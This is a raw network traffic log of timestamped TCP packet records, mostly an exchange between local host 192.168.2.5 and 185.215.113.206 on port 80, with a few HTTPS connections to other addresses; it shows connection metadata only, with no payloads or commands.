Nov 25, 2024 16:21:41.075356007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.075432062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.076149940 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.076160908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.076231956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.077016115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.077080011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.077137947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.077231884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.078022957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.078078985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.078126907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.078172922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.079071045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.079125881 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.079339981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.079401016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.080075979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.080123901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.080168009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.080961943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.081077099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.081078053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.081130981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.081974983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.082026958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.082050085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.082258940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.104566097 CET	49835	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:21:41.104566097 CET	49834	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:21:41.104578018 CET	443	49834	23.44.203.14	192.168.2.5
Nov 25, 2024 16:21:41.111332893 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:41.111382008 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:41.125087976 CET	443	49791	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:41.125113010 CET	443	49791	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:41.125128984 CET	443	49791	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:41.125276089 CET	49791	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:41.125276089 CET	49791	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:41.125310898 CET	443	49791	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:41.125375032 CET	49791	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:41.126848936 CET	49791	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:41.126848936 CET	49791	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:41.126867056 CET	443	49791	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:41.126874924 CET	443	49791	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:41.150724888 CET	49834	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:21:41.223328114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.223360062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.223380089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.223406076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.223808050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.223853111 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.223875999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.223912954 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.224833965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.224894047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.224898100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.224931002 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.225886106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.225946903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.226016045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.226052999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.226795912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.226838112 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.226924896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.226965904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.227771997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.227814913 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.227833033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.227938890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.228734016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.228780985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.228851080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.228950024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.229901075 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.229949951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.229974031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.230055094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.230906010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.230962038 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.230993986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.231061935 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.231820107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.231914997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.231967926 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.232770920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.232817888 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.232841969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.232884884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.233746052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.233781099 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.233844042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.233892918 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.234678984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.234760046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.234769106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.234827042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.235621929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.235667944 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.235799074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.235841036 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.236604929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.236658096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.236659050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.236696005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.237617016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.237673044 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.237703085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.237811089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.238677025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.238728046 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.238815069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.238861084 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.239665031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.239764929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.239861965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.239912987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.240597010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.240653992 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.240751982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.240802050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.241717100 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.241770983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.241782904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.241858006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.242535114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.242588997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.242588997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.242759943 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.243556976 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.243766069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.243834019 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.244549990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.244601965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.244605064 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.244656086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.245455980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.245507956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.245690107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.245733976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.246520042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.246558905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.246578932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.246591091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.247477055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.247541904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.247598886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.247664928 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.248439074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.248490095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.248549938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.248593092 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.249437094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.249491930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.249507904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.249526024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.250457048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.250519991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.250619888 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.250669003 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.251375914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.251447916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.251507044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.251585960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.252444029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.252492905 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.252552032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.252595901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.253412008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.253469944 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.253648043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.253720045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.254390001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.254443884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.254594088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.254642010 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.255376101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.255424976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.255501032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.255547047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.256316900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.256362915 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.256465912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.256513119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.257347107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.257463932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.257519007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.258322001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.258447886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.258502007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.259722948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.259735107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.259790897 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.260240078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.260304928 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.260310888 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.260349035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.261288881 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.261341095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.261389017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.261428118 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.261797905 CET	49845	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:41.261850119 CET	443	49845	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:41.261929035 CET	49845	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:41.262275934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.262387991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.262414932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.262449026 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.263258934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.263302088 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.263470888 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.263523102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.263674974 CET	49845	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:41.263688087 CET	443	49845	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:41.264264107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.264348984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.264365911 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.264394999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.265224934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.265361071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.265399933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.265414953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.266289949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.266302109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.266346931 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.266370058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.267359018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.267370939 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.267416000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.268213987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.268270969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.268277884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.268321037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.269161940 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.269227028 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.269267082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.269316912 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.270226002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.270282984 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.270338058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.270376921 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.271090984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.271148920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.271152973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.271189928 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.272089958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.272154093 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.272197008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.272306919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.273077965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.273092985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.273132086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.273145914 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.274089098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.274147987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.274154902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.274199009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.275037050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.275100946 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.412576914 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.413161039 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.413177013 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.413764954 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.413772106 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.415652990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.415667057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.415724993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.416112900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.416163921 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.416191101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.416229963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.417130947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.417218924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.417296886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.417342901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.418245077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.418292046 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.418402910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.418452978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.419142008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.419162035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.419205904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.420001030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.420054913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.420054913 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.420090914 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.420977116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.421027899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.421067953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.421125889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.421962023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.422010899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.422082901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.422137976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.423006058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.423051119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.423058987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.423115015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.424046040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.424094915 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.424176931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.424237013 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.424945116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.424993992 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.425014973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.425090075 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.425885916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.425976038 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.425996065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.426043034 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.426888943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.426940918 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.426983118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.427021027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.427864075 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.427911997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.427985907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.428024054 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.428839922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.428950071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.428994894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.429842949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.429909945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.429965973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.430022955 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.430862904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.430917978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.430939913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.430986881 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.431822062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.431864977 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.431911945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.432068110 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.432777882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.432827950 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.432861090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.432898998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.433773994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.433824062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.433841944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.433909893 CET	49765	80	192.168.2.5	185.215.113.206
